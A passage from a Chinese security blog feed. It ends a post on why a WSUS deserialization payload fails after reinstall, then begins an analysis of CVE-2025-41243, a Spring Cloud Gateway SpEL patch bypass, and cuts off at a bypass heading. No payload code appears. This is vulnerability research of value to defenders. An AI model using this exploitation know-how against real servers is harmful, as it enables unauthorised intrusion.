leaf="">然而，就在以为大功告成时，一个意外却发生了：当我重新安装 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WSUS</span></code><span leaf=""> 服务后，相同的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 便宣告失效。经分析，问题出在数据库内生成的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AuthorizationData</span></code><span leaf=""> 值发生了变化，导致反序列化前的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AES</span></code><span leaf=""> 解密失败。这指向一个关键问题：密钥难道是随机生成的吗？如果并非固定，那么这个漏洞的通用利用条件便不复存在。不知是否有师傅成功解决了这个问题？期待与大家交流。</span></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247492505">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=84e11331&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492505%26idx%3D1%26sn%3Da62aa31cf0b1372c8472e6c2226b72b2">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 25 Oct 2025 07:03:00 +0800</pubDate>
    </item>
    <item>
      <title>CVSS 10分严重漏洞: 从CVE-2025-41243看SpEL SimpleEvaluationContext绕过与利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492374&amp;idx=1&amp;sn=7c2361e99bcf13f8a0601c4a4edc010e</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-09-30 07:00</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=885aa975&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkiaKqTnmGf0ibo0FaFWJGiciaE9St91r7lVvK7mF0Gks9MQMkAoH4SELtsw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe mp_common_widget" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近期 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Spring</span></code><span leaf=""> 官方披露 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Spring Cloud Gateway</span></code><span leaf=""> 中存在一个严重漏洞 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-41243</span></code><span leaf=""> ， </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVSS</span></code><span leaf=""> 评分达到了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">10</span></code><span leaf=""> 分级别。该漏洞可以看成是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2022-22947</span></code><span leaf=""> 补丁的绕过，虽然使用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SimpleEvaluationContext</span></code><span leaf=""> 替换 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StandardEvaluationContext</span></code><span leaf="">，但是并不能完全规避安全风险。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">CVE-2022-22947 补丁分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2022-22947</span></code><span leaf=""> 分析可以参考公众号以前的文章：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247491391&amp;idx=1&amp;sn=3ee141b4d491c509b46d42c9814c1cba&amp;scene=21#wechat_redirect" textvalue="CVE-2022-22947 Spring Cloud Gateway表达式注入回显与内存马构造" data-itemshowtype="0" linktype="text" data-linktype="2">CVE-2022-22947 Spring Cloud Gateway表达式注入回显与内存马构造</a>。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">触发点位于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ShortcutConfigurable</span></code><span leaf=""> ，将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StandardEvaluationContext</span></code><span leaf=""> 替换为了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SimpleEvaluationContext</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008712" data-ratio="0.3194444444444444" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c28c2b63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkmdxKyEJ2kM6W2ictCllS63PiaYTuvBWVIt8m6Fiaglicx900IWpu2tmGxg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">虽然使用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SimpleEvaluationContext</span></code><span leaf=""> 导致无法直接执行系统命令，但是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 仍然可以访问和操作传入的对象及其属性，比如可以通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">environment</span></code><span leaf=""> 读取环境属性等。为此，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Spring</span></code><span leaf=""> 在补丁中还新增了一个名为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled</span></code><span leaf=""> 的属性（或 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">spring.cloud.gateway.restrictive-property-accessor.enabled</span></code><span leaf=""> ），默认取值为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></code><span leaf=""> ，并通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestrictivePropertyAccessor</span></code><span leaf=""> 来限制属性读取：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008711" data-ratio="0.412962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c56abae0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkbeE4FYaZtl0e8mibACVI5X8K9syuas8p7rkpk8CmZu6wqu8Hib7JTKmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.23703703703703705" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008708" src="https://wechat2rss.xlab.app/img-proxy/?k=19b6d378&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkcmib3sYzvFOaaPjU2wlNda0AWJSAVBYksZD0RyBMKHgpqU4J4CibQBYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">ReflectivePropertyAccessor Bypass</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 